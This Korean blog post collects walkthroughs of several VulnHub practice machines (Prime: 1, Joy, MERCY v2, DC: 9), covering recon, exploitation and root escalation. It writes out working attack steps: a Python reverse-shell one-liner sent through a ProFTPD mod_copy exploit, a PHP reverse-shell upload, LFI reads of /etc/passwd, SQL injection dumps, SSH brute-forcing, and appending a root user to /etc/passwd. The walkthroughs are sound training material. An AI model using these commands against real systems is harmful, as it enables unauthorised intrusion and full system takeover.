                  ;;;;;;;'   /      ----~~/         `\,~    `\ \        
                  ;;;;'     (      ---~~/         `:::|       `\\.      
                  |'  _      `----~~~~'      /      `:|        ()))),      
            ______/\/~    |                 /        /         (((((())  
          /~;;.____/;;'  /          ___.---(   `;;;/             )))'`))
         / //  _;______;'------~~~~~    |;;/\    /                ((   ( 
        //  \ \                        /  |  \;;,\                 `   
       (<_    \ \                    /',/-----'  _> 
        \_|     \\_                 //~;~~~~~~~~~ 
                 \_|               (,~~   
                                    \~\
                                     ~~

        Contact me via Twitter @zayotic to give feedback!

 

 

https://www.vulnhub.com/entry/prime-1,358/

 

Prime: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

어떤 네트워크에 실습 VM이 있어도 해당 네트워크에서 실습을 할 수 도있도록 칼리에 NIC 를 다 연결을 해놓고 실습을 진행했습니다

 

실습 환경 : VirtualBox(Kali), VMware Workstation 17 (실습 VM)

 

Reconnaissance

└─$ sudo nmap -sn 192.168.56.0/24 -oA ./recon/56.0-ping    
...
Nmap scan report for 192.168.56.107
Host is up (0.00030s latency).
MAC Address: 00:0C:29:50:85:B7 (VMware)
...

전체 네트워크 포트를 스캔한 후에 22번, 80번 포트가 열려 있는 것을 확인, 디테일하게 스캔해보겠습니다

 

 

SSH

먼저 접속을 한번 해봅니다

여기서 얻을 수 있는 정보는 퍼블릭키와 비밀번호로 접근할 수 있다는 점입니다

 

WEB

80번 포트가 열려으니 직접 접속해봅니다

페이지 소스와 robots.txt 에서는 별다른 특이점이 없으니 gobuster 툴을 이용하여 디렉터리 브루트 포싱을 진행해보겠습니다

 

/dev 엔드포인트 입니다 

wordpress로 구성된 블로그도 서버에 구성되어있군요 wpscan을 이용하여 취약점이 있는지 분석해보겠습니다

 

Vulnerability

딱히 크게 찾은건 없고, victor 유저만 찾았습니다 

혹시 몰라서 gobuste 툴을 다시 사용해봤는데 /wordpress 를추가해서는 별 소득이 없었고 확장자를 추가로 지정해서 검색을 다시 해봤습니다

┌──(kali㉿kali)-[~/vulnhub/prime]                                                                                                                            
└─$ gobuster dir -u http://192.168.56.107 -w /usr/share/dirb/wordlists/common.txt -t 4 -x html,txt,php                                                       
===============================================================                                                                                              
Gobuster v3.6                                                                 
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                 
===============================================================                                                                                              
[+] Url:                     http://192.168.56.107                            
[+] Method:                  GET                                              
[+] Threads:                 4                                                                                                                               
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404                                              
[+] User Agent:              gobuster/3.6                    
[+] Extensions:              html,txt,php                      
[+] Timeout:                 10s                                              
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/dev                  (Status: 200) [Size: 131]
/index.php            (Status: 200) [Size: 136]
/index.php            (Status: 200) [Size: 136]
/image.php            (Status: 200) [Size: 147]                               
/javascript           (Status: 301) [Size: 321] [--> http://192.168.56.107/javascript/]
/server-status        (Status: 403) [Size: 279]                               
/secret.txt           (Status: 200) [Size: 412]
/wordpress            (Status: 301) [Size: 320] [--> http://192.168.56.107/wordpress/]
Progress: 18456 / 18460 (99.98%)                                              
===============================================================
Finished                                                                      
===============================================================

 

image.php

secret.txt

를 추가로 더 찾았습니다 image.php에서는 소득이 없네요

 

wfuzz 툴을 한번 이용해보라는 힌트를 주네요 그리고 location.txt 를 보면 다음으로 이동할 수 있다고 합니다

힌트 웹사이트를 보고 한번 wfuzz를 이용해서 브루트포싱을 진행해봅니다

 

 

951개가 떳는데요, 공통적으로 word가 모두 12W 입니다 그것을 다시 필터링 걸어서 다시 한번 해봅니다

딱 하나 file 이라는 payload가 떳습니다

file 파라미터를 넣어서 한번 시도해보니 뭔가 떳네요!!

아까 힌트에서 location.txt를 넣으면 다음으로 넘어 갈 수 있다고 했죠

secrettier360 파라미터를 다른 php 페이지에서 사용해보라고 합니다 그럼 image.php 밖에 없겠죠

네 올바른 파라미터를 찾았습니다

 

그럼...

이제

 

wfuzz를 다시 사용해봅시다

이번엔 17W 를 필터링 해보겠습니다

dev 라고 합니다

음 이 글은 /dev 웹사이트의 페이지 글이었죠??

개념 증명용 /etc/passwd 파일을 확인한 것입니다

password.txt. 파일은 자신의 디렉터리에서 확인할 수 있다고 합니다 /home/saket 이겠죠

 

password입니다 어디든 한번 시도해보겠습니다

# credentials

?:follow_the_ippsec

# username
saket
victor

네 SSH는 아니 었고, victor의 wordpress 비밀번호 였네요!!

# wordpress credentials

victor:follow_the_ippsec

 

 

 

Exploitation

wordpress admin 대시보드에서 theme 수정하는 부분에서 secret.php 에 대한 코드를 얻었습니다

저는 리버스쉘을 획득하기 위해서 php-reverse-shell.php를 가져와서 붙여넣어보겠습니다

└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

└─$ nc -nlvp 7777                                              
listening on [any] 7777 ...

IP와 Port를 바꾸고 nc를 통해서 리스닝해주겠습니다

이후에 코드를 업로드 해줍니다 후에 그 경로로 들어가야 리버스쉘이 트리거 되는데 그 경로는 wpscan한 결과에서 얻을 수 있습니다

/wordpress/wp-content/themes/twentynineteen/ 이 경로에 secret.php를 추가하면 되겠죠?

 

 

Privilage Escalation

www-data@ubuntu:/home/saket$ cat ./user.txt
cat ./user.txt
af3c658dcf9d7190da3153519c003456
www-data@ubuntu:/home/saket$ cat password.txt
cat password.txt
follow_the_ippsec

saket 유저의 홈디렉터리에 들어와 enc 라는 파일을 보려했는데 권한이 없었고 sudo -l 을 했는데 우연히 sudo를 사용할 수 있게 되어있네요

 

근데 패스워드를 쳐야해서 뭔가 이상,...하네요...

Enumerating further a backup_pass file is found in /opt/backup/server_database with credentials for “enc” executable.

검색해보니 원래 이런 문구가 나와야한다고 합니다!! 그렇죠 뭔가 이상했어요,,,ㅎ

backup_password 한번 입력해볼까요?

www-data@ubuntu:/home/saket$ cat enc.txt
cat enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
www-data@ubuntu:/home/saket$ cat key.txt
cat key.txt
I know you are the fan of ippsec.

So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.

하나는 base64로 암호화된 문자 같고,, 머지 하나는 md5로 변환 시키라고 하네요

 

# ippsec -> MD5

└─$ echo -n 'ippsec' | md5sum 
366a74cb3c959de17d61db30591c39d1  -

그냥 디코딩은 안되는 것으로 보이네요,, 일반적으로 디코딩은 안되고 AES-256-ECB 알고리즘을 사용하여 암호화 되어있다고 하네요

 

암호문을 해독하기 위해 hex로 된 키 값이 필요한데, ippsec을 md5 로 만든 것을 hex로 변환 시켜준다

└─$ echo -n '366a74cb3c959de17d61db30591c39d1' | od -A n -t x1
 33 36 36 61 37 34 63 62 33 63 39 35 39 64 65 31
 37 64 36 31 64 62 33 30 35 39 31 63 33 39 64 31

 

이제 저 문자열을 해독하기 위해서 쓰이는 방법

1. base64 암호문 -> openssl로 넘긴다

2. openssl로 넘긴 암호문 -> openssl 암호화 방식 aes-256-ecb를 사용

-d : 복호화 한다

-a : 작업 전 후 과정에서 base64 인코딩을 적용한다

3. 복호화를 위한 키(-k) 는 위의 hex 값 > base64로 넘긴 후 > base64로 디코딩

 

좀..,,,많이 어려운 개념이다

이부분은 암호학 같은데 다시 공부를 해봐야겠다

 

└─$ cat md5_hex.txt | tr -d ' ' | paste -s -d ''
3336366137346362336339353964653137643631646233303539316333396431

└─$ echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -aes-256-ecb -d -a -K '3336366137346362336339353964653137643631646233303539316333396431' | base64 | base64 --decode
Dont worry saket one day we will reach to
our destination very soon. And if you forget 
your username then use your old password
==> "tribute_to_ippsec"

Victor,

/tmp/challenge를 찾을 수 없다.. /home/victor/undefeated_victor 이게 /tmp/challenge로 실행되나 보네요

SUID 설정도 되어있어요!!

저는 간단하게 하는걸 좋아해서 

/bin/bah 를 그대로 복사해서 넘겨주죠,,ㅎ

saket@ubuntu:~$ cp /bin/bash /tmp/challenge

 

root@ubuntu:/root# cat root.txt
cat root.txt
b2b17036da1de94cfb024540a8e7075a

user, root flag 모두 획득 완료 했습니다!

 

 

https://www.vulnhub.com/entry/digitalworldlocal-joy,298/

 

digitalworld.local: JOY

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/45.0-ip  

Nmap scan report for 192.168.45.14
Host is up (0.00038s latency).
MAC Address: 08:00:27:1D:53:6C (Oracle VirtualBox virtual NIC)

└─$ cat ./recon/target_tcpAll.nmap | awk '{ print $1}' | grep -i '/' | cut -d '/' -f 1 | paste -s -d ','
21,22,25,80,110,139,143,445,465,587,993,995

 

ftp

Anonymous login 허용되어있음

upload에 많은 파일이 있는데 그중에서 directory 라는 파일과 reminder 파일만 가져와서 확인해봤다.

└─$ cat directory                                                                                                                                            
Patrick's Directory                                                                                                                                          
                                                                                                                                                             
total 116                                                                                                                                                    
drwxr-xr-x 18 patrick patrick 4096 Jun 27 16:45 .                                                                                                            
drwxr-xr-x  4 root    root    4096 Jan  6  2019 ..                                                                                                           
-rw-r--r--  1 patrick patrick    0 Jun 27 16:40 0j7w04BbHFqWrL4YWd3eQllEDPAinIIN.txt                                                                         
-rw-r--r--  1 patrick patrick   24 Jun 27 16:40 0rM333hBX0WCamTBs2zMpNiiiOwVKEMOdjcrGy6R2FOTxuzEQ1cq6PHDr0YyqopW.txt                                         
-rw-r--r--  1 patrick patrick   24 Jun 27 16:35 4XDfCJMvZZpKrFIjwDZj9bLcxDcRz8PW4KSvCu5hRNwPH0TkRI5mCt4yLWgczlbJ.txt
-rw-------  1 patrick patrick  185 Jan 28  2019 .bash_history
-rw-r--r--  1 patrick patrick  220 Dec 23  2018 .bash_logout
-rw-r--r--  1 patrick patrick 3526 Dec 23  2018 .bashrc  
drwx------  7 patrick patrick 4096 Jan 10  2019 .cache
drwx------ 10 patrick patrick 4096 Dec 26  2018 .config        
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Desktop                                                                                                      
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Documents
drwxr-xr-x  3 patrick patrick 4096 Jan  6  2019 Downloads
drwx------  3 patrick patrick 4096 Dec 26  2018 .gnupg
-rwxrwxrwx  1 patrick patrick    0 Jan  9  2019 haha
-rw-r--r--  1 patrick patrick    0 Jun 27 16:45 hhbUj7SpadR2RKXUua4uSpADRiOgYYNP.txt
-rw-------  1 patrick patrick 8532 Jan 28  2019 .ICEauthority
-rw-r--r--  1 patrick patrick   24 Jun 27 16:45 JihI13UsIjMK74BxhEUHhKVhcmP36dAh6bYb5cY35eCASeWFQa1jeEpKT1ADX59k.txt
drwxr-xr-x  3 patrick patrick 4096 Dec 26  2018 .local
drwx------  5 patrick patrick 4096 Dec 28  2018 .mozilla
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Music
drwxr-xr-x  2 patrick patrick 4096 Jan  8  2019 .nano
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Pictures
-rw-r--r--  1 patrick patrick  675 Dec 23  2018 .profile
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Public
d---------  2 root    root    4096 Jan  9  2019 script
drwx------  2 patrick patrick 4096 Dec 26  2018 .ssh
-rw-r--r--  1 patrick patrick    0 Jan  6  2019 Sun
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Templates
-rw-r--r--  1 patrick patrick    0 Jan  6  2019 .txt
-rw-r--r--  1 patrick patrick  407 Jan 27  2019 version_control
-rw-r--r--  1 patrick patrick    0 Jun 27 16:35 VFVnF8B8hC3GmSjfC4hQqPYRlMIzhT2G.txt
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Videos

You should know where the directory can be accessed.

Information of this Machine!

Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux


└─$ cat reminder  
Lock down this machine!

패트릭의 홈 디렉터리의 파일 목록들로 보인다 힌트라고 하면 패트릭의 홈디렉터리와 대상 호스트가 구성하고있는 ftp 서버의 버전 정보 쯤 되지 않을까.

 

대상 호스트가 ProFTPD를 사용하고 있는데, ProFTPD는 임의로 파일 복사 취약점이 있다고 한다 그것을 이용하여 파일을복사하고 업로드한다

version_control이 정확히 잘 복사되었고 파일을 가져와 읽어본다

 

이미 ftp에서 많은 정보를 얻어서 바로 취약점 진단하고 익스플로잇을 실시해도되지만, 웹 사이트를 운영하고 있으니 웹도 한번 접속만해서 확인을 해봅니다

 

WEB

접속하면 뜨는 기본 웹 페이지 입니다. OSSEC웹 인터페이스네요 OS에 대한 버전정보, resolv.conf 등등 여기 또한 많은 정보가 들어있네요

 

 

Vulnerability

ftp에서 각 서비스 별로 버전 정보를 획득했으니 searchsploit 툴을 이용하여 취약점 진단을 해봅니다

Remote command Execution 공격을 할 수 있는 공개 취약점이 나왔네요

CVE-2015-3306 코드를 가지고 있는 공개 취약점을 이용한 원격 커멘드 입력 공격을 이용하여 대상 호스트로 접근 해보겠습니다

 

Exploitation

이번 실습 VM에서는 metasploit을 안쓰기로 다짐했기 때문에 구글에서 검색을 해서 익스플로잇 코드를 가져와서 시도하겠습니다

https://github.com/t0kx/exploit-CVE-2015-3306/blob/master/exploit.py

 

exploit-CVE-2015-3306/exploit.py at master · t0kx/exploit-CVE-2015-3306

ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container - t0kx/exploit-CVE-2015-3306

github.com

이 사이트에서 코드를 가져와서 사용했습니다

cmd 파라미터를 넣어서 실행을 하면 command execution이 되는 것 같습니다

이제 직접 실행해보죠

 

테스트 결과 잘 나오는 것을 확인할 수 있습니다

파이썬을 테스트로 사용한 이유는 revshells.com 에서 파이썬으로 리버스쉘을 획득하기 위해서 입니다

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.219",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

이 코드를 적용해서 ?cmd= 옆에 붙여넣습니다

대상 호스트로 초기 침투 완료했고, 권한 상승을 하기 위해서 추가 정보를 수집합니다

 

# credentials for joy
patrick:apollo098765

 

 

Privilege Escalation

획득한 patrick 유저로 접근하여 추가적인 권한 상승할 방법을 찾습니다

 

패트릭은 열심히 일합니다

 

 

어떤 스크립트를 실행하는거같은데 보려면 권한이 없다고 뜨기 때문에 그냥 실행해봅니다

경로를 다시 한번 체크해봅니다

스크립트가 정상적으로 실행 되었네요

그럼 /etc/paswd 파일에 관리자 권한을 가진 유저를 생성합니다

우선 passwd 파일의 형식을 한번 보죠

root:x:0:0:root:/root:/bin/bash


└─$ openssl passwd -6 -salt qwer qwerqwer
$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1


# 추가할 유저
qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash

 

직접 추가해봅니다

patrick@JOY:~$ echo 'qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash' >> /etc/pa
sswd
<MzgmbipUW1:0:0:qwer:/root:/bin/bash' >> /etc/passwd

patrick@JOY:~$ cat /etc/passwd | tail -n 1
cat /etc/passwd | tail -n 1
qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Symfonos Walkthrough  (0) 2024.07.03
[Vulnhub] Prime: 1 Walkthrough  (0) 2024.06.29
[Vulnhub] DIGITALWORLD.LOCAL: MERCY v2 Walkthrough  (0) 2024.06.26
[Vulnhub] DC: 9 Walkthrough  (0) 2024.06.25
[Vulnhub] VulnOS: 2 Walkthrough  (0) 2024.06.24

https://www.vulnhub.com/entry/digitalworldlocal-mercy-v2,263/

 

digitalworld.local: MERCY v2

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

실습 환경 : VirtualBox

 

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/target-ip
...
Nmap scan report for 192.168.45.28
Host is up (0.00033s latency).
MAC Address: 08:00:27:26:9C:DE (Oracle VirtualBox virtual NIC)
...

└─$ cat ./recon/target-ip.nmap | grep -i 'for' | cut -d ' ' -f 5 | grep '28' > ./recon/target
192.168.45.28

imap과 pop이 있는걸 봐선 이메일과 관련된 서버도 구성을 해놓은 것으로 보입니다

 

SMB

 

enum4linux를 통한 정보 수집 진행

 

유저 목록 확보

# smb_credentials
pleadformercy
qiu
thisisasuperduperlonguser
fluffy

 

 

 

smbmap을 이용하여 null 세션 및 anonymous 세션 확인

authenticated 상태

anonymous 또한 마찬가지

 

일단 qiu 유저와 pleadformercy 유저는 account가 가능하니 다른 프로토콜의 정보 수집 마저 진행

 

WEB(8080)

apache tomcat의 기본 웹 화면, 페이지 소스 특이사항 없음

robots.txt

base64로 인코딩 된듯한,,,문자 디코딩 시켜본다

해석을 해보니 뭔가 보안에 대해서 경고를 하고있고 이전에 password 라는 비밀번호를  직원 책상 포스트잇에서 봤다고 하네요

 

Vulnerability

password 라는 비밀번호의 정보를 획득했습니다. 이전에 SMB에서 얻었던 정보를 토대로 한번 접속해봅니다

qiu 유저에 접근했습니다, 필요할 만한 정보를 수집합니다

아주 좋네요 히스토리를 보면 secrets 디렉터리에서 아무 작업도 하지 않고 openseame 에서 작업하는 것을 볼 수 있습니다

config 파일이 있었는데요 아주 아주 유용한 정보 들입니다 서버 셋팅에 관련된 설정파일들이 다!! 들어있네요

포트 노킹에 관련된것, 웹서버에 관련된 것, smb에 관련된 것 등등

 

Port Knocking_configuration

Nmap을 통한 정보 수집에서 찾진 못했지만 22번과 80번 이 필터링 되거나 닫겨있나봅니다

우선 두개다 열어보도록 합니다

이제는 열렸네요 80번 포트로 접속하기전 우선 config 파일을 계속 보도록 합니다

웹 configuration에서는 keepalive를 사용하는 것이 확인 되었고, smb의 qiu 유저에 대한 경로가 확인되었습니다

 

 

WEB(80)

페이지 소스에서는 별 다른 점 없네요

/nomercy 디렉터리에서는 RIPS라는 것이 발견되었는데 gobuster 툴을 이용하여 추가적인 디렉터리가 있는지 더 확인합니다

여러 파일들이 발견되었는데 디렉터리에 있는 정보도 좋지만 우선 RIPS 0.53 버전이라는 것을 아니깐 searchsploit 툴을 이용하여 공개 취약점을 검색합니다

LFI가 가능한 취약점 이라고 합니다 한번 확인해볼까요?

 

Exploitation

/windows/code.php?file 파라미터를 수정해 디렉터리 경로 순회 공격을 통해서 /etc/passwd 파일을 읽어 올 수 있었습니다

 

그렇다면 8080에서 톰캣을 사용하고 있었는데 그 경로를 다시 확인해봅니다

네 유저 정보 확인했습니다

# user_credentials
thisisasuperduperlonguser:heartbreakisinevitable
fluffy:freakishfluffybunny

 

 

그리고 초기 웹 사이트에서 확인할 수 있는 링크로 획득한 계정 정보로 로그인을 시도합니다

 

admin 권한을 가지고 있어서 배포까지 할 수 있도록 되어있군요 war file을 이용해서 배포를 할 수 있을 거같습니다

 

리버스쉘이나 공격을 하기 위해서 페이로드를 생성해야 하는데, msfvenom을 이용해서 한번 생성해보겠습니다

└─$ nc -nlvp 8888
listening on [any] 8888 ...

이후 파일을 업로드 한 다음 업로드한 파일을 클릭한다

 

대상 호스트에 초기 침투 완료

그렇다고 한다

 

 

Priviliage Escalation

이전에 획득했던 fluffy 유저로 로그인을 해봅니다

tomcat7@MERCY:/$ su fluffy
su fluffy
Password: freakishfluffybunny

Added user fluffy.

$ id; hostname
id; hostname
uid=1003(fluffy) gid=1003(fluffy) groups=1003(fluffy)
MERCY

$ sudo -l 
sudo -l
[sudo] password for fluffy: freakishfluffybunny

Sorry, user fluffy may not run sudo on MERCY.

sudo -l 은 이용할 권한이 없군요 해당 유저의 홈 디렉터리로 가서 한번 확안해봅니다

그중에서 timeclock 라는 관리자 계정으로 동작하는 스크립트가 있습니다.

권한 상승을 위해서 관리자 권한으로 실행되는 스크립트에 한번 더 리버스쉘 페이로드를 생성해서 집어 넣을 것입니다

 

저는 revshells.com에서 mkfifo를 이용해서 리버스쉘을 획득하는 코드를 참고했습니다

이것을 그대로 스크립트에 추가하겠습니다

이후 nc 명령어를 이용하여 7777번 포트 리스닝

└─$ nc -nlvp 7777

관리자 권한 획득 완료!

 

root@MERCY:~# cat proof.txt
cat proof.txt
Congratulations on rooting MERCY. :-)
root@MERCY:~# cat author-secret.txt
cat author-secret.txt
Hi! Congratulations on being able to root MERCY.

The author feels bittersweet about this box. On one hand, it was a box designed as a dedication to the sufferance put through by the Offensive Security team for PWK. I thought I would pay it forward by creating a vulnerable machine too. This is not meant to be a particularly difficult machine, but is meant to bring you through a good number of enumerative steps through a variety of techniques.

The author would also like to thank a great friend who he always teases as "plead for mercy". She has been awesome. The author, in particular, appreciates her great heart, candour, and her willingness to listen to the author's rants and troubles. The author will stay forever grateful for her presence. She never needed to be this friendly to the author.

The author, as "plead for mercy" knows, is terrible at any sort of dedication or gifting, and so the best the author could do, I guess, is a little present, which explains the hostname of this box. (You might also have been pleading for mercy trying to root this box, considering its design.)

You'll always be remembered, "plead for mercy", and Offensive Security, for making me plead for mercy!

Congratulations, once again, for you TRIED HARDER!

Regards,
The Author

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Prime: 1 Walkthrough  (0) 2024.06.29
[Vulnhub] Digitalworld.local: Joy Walkthrough  (0) 2024.06.27
[Vulnhub] DC: 9 Walkthrough  (0) 2024.06.25
[Vulnhub] VulnOS: 2 Walkthrough  (0) 2024.06.24
[Vulnhub] LazySysAdmin Walkthrough  (0) 2024.06.23

https://www.vulnhub.com/entry/dc-9,412/

 

DC: 9

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이 DC: 9 은 포트노킹에 대한 실습인데, 포트 노킹은 한번도 해보지 않아서 타쿠대디님 가이드를 읽으면서 실습을 진행하였습니다.

타쿠대디님 길잡이를 해주셔서 감사합니다!!

 

 

실습 환경 : VirtualBox

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24                       
...
Nmap scan report for 192.168.45.120
Host is up (0.00030s latency).
MAC Address: 08:00:27:9C:5D:4A (Oracle VirtualBox virtual NIC)
...

포트 노킹에 대한 실습이기 때문에 filtered 되어있는 포트가 있어야하는데 22번 ssh가 바로 필터된 포트입니다

80번 포트는 열려있네요

 

WEB

example.com의 staff에 대한 자세한 페이지 입니다

직원들에 대한 정보도 잘 들어있네요

다른 엔드포인트에서는 검색을 할 수 있는 기능 그리고 로그인 할 수 있는 기능 등등이 있습니다. 다른 포트가 열려있지 않으니 웹에서만 취약점을 진단해야하니 상세한 기능까지 다 사용해봅니다

 

Vulnerability

검색을 할 수 있는 /search.php 에서  검색을 하니 /result.php로 넘어가며 POST 하는 Request하나를 발견했습니다

 

search에 1' or '1'='1 를 삽입하니 직원들에 대한 정보가 떳습니다. 그렇단 말은 SQL Injection이 가능하다는 말이니 sqlmap을 이용하여 한번 분석을 해봅니다

이렇게 파일 형식으로  만듭니다

information_schema, staff, users 데이터베이스가 있네요

 

└─$ sqlmap -r ./attacks/results.txt -D Staff -T Users --dump

└─$ sqlmap -r ./attacks/results.txt -D Staff -T StaffDetails --dump

└─$ sqlmap -r ./attacks/results.txt -D users -T UserDetails --dump

user 데이터베이스에 저장되어있는 username과 password는 리스트 형식으로 저장하도록 하겠습니다

 

데이터베이스가 가지고 있는 정보들을 덤프했으며, 현재 사용하고 있는 테이블, 그리고 사용하고 있는 유저 정보에 대해서도 파악합니다

current user : dbuser@localhost

 

current database : Staff

 

덤프했던 해시화 되어있는 admin 계정의 비밀번호가 어떤 해시화가 되어있는지 확인 후에 복호화를 시도합니다

MD5 입니다

https://md5decrypt.net/en/ 사이트에서 복호화를 진행합니다

# admin credentials
856f5de590ef37314e7c3bdf6f8a66dc : transorbital1
admin:transorbital1

File does not exist

즉 LFI (Local File Inclusion) 까지 가능할 수도 있겠습니다. 그러기 위해선 file 파라미터를 추가해서 path traversal 까지 가능해야하니 한번 테스트 해봅니다

가능하네요 /etc/passwd 파일을 읽을 수 있습니다 그럼,, 이 실습에서 해야하는것 바로 포트 노킹인데요 

포트 노킹의 설정 파일은 /etc/knockd.conf 입니다 한번 읽어볼까요?

페이지 소스에서 좀 더 잘 정리된 것을 확인 합니다

OpenSSH

sequence -> 특정 포트를 열기 위한 포트 패턴 (7469 -> 8475 -> 9842 순서대로 요청)

반대로 CloseSSH의 sequence 는 포트를 닫기 위한 패턴입니다 한번 실제로 진행해보도록 하겠습니다

 

# knock install
sudo apt-get install -y knockd

# 포트를 열기
└─$ knock 192.168.45.120 7469 8475 9842

네 22번 포트가 열린 것을 확인 할 수 있습니다

 

Exploitation

포트 노킹을 통해서 22번 포트를 열었으니 ssh 접속을 해야합니다 그전에 파싱한 username, password을 hydra를 이용하여 비밀번호 브루트포싱을 진행해보겠습니다

# password brutefocing
└─$ hydra -L username.txt -P passwd.txt ssh://192.168.45.120:22 -t 4

#credentials
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee

3개의 유저 비밀번호를 찾았습니다

대상 호스트에 초기 침투에 성공했고 나머지 유저들도 모두 접속해서 후속 공격을 준비하겠습니다

 

Post-Exploitation

linpeas.sh 스크립트로 정보 수집을 하기 위해서 /tmp 디렉터리에 들어가서 공격자 칼리에서 대상 호스트로 파일을 다운받습니다

chandler 유저로 들어가 linpeas.sh을 해봤지만,, 이미 데이터베이스 덤프를 다 한 상태고 추가적인 정보에 대한 특이점은 없었습니다

각자의 홈 디렉터리에서 한번 확인해보겠습니다.

janitor 유저의 홈디렉터리에서 숨겨진 디렉터리와 파일에서 새로운 비밀번호 목록을 찾았습니다

이전 비밀번호는 제외하고 새로운 패스워드 리스트를 만들어 비밀번호 브루트포싱을 진행해봅니다

joeyt 유저는 이전에 이미 찾았던 유저이고, 새로운 유저 fredf에 대한 비밀번호를 찾았습니다

fredf:B4-Tru3-001

바로 접속 해봅시다!

 

Privilage-Escalation

비밀번호 없이 뭔가 실행시킬수 있네요 

파일에 대해서 확인해보니 ELF 실행 파일인 것으로 확인됩니다

 

test.py 파일을 찾아봐야겠네요

fredf@dc-9:~$ find / -name "test.py" 2> /dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

# read test.py

fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

만약 인자값이 3개가 아니라면 Usage: python test.py read append 문자와 함께 종료된다

첫번째 인자값에 대해서 파일을 읽고,

두번째 인자값에 대해서 파일 내용을 추가한다

 

뭐가 있을지 생각해봤는데 뭔가 관리자 권한을 가진 유저를 추가하는 방법이 최고지 않을까 싶네요

fredf@dc-9:/opt/devstuff$ cat /etc/passwd | head -n 3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

유저를 추가하기 위해서 /etc/passwd 형식을 먼저 파악합니다

사용자:암호:uid:gid:계정 이름:홈 디렉터리:실행 쉘 

 

# 암호화된 비밀번호 생성
└─$ openssl passwd -6 -salt qwer qwerqwer
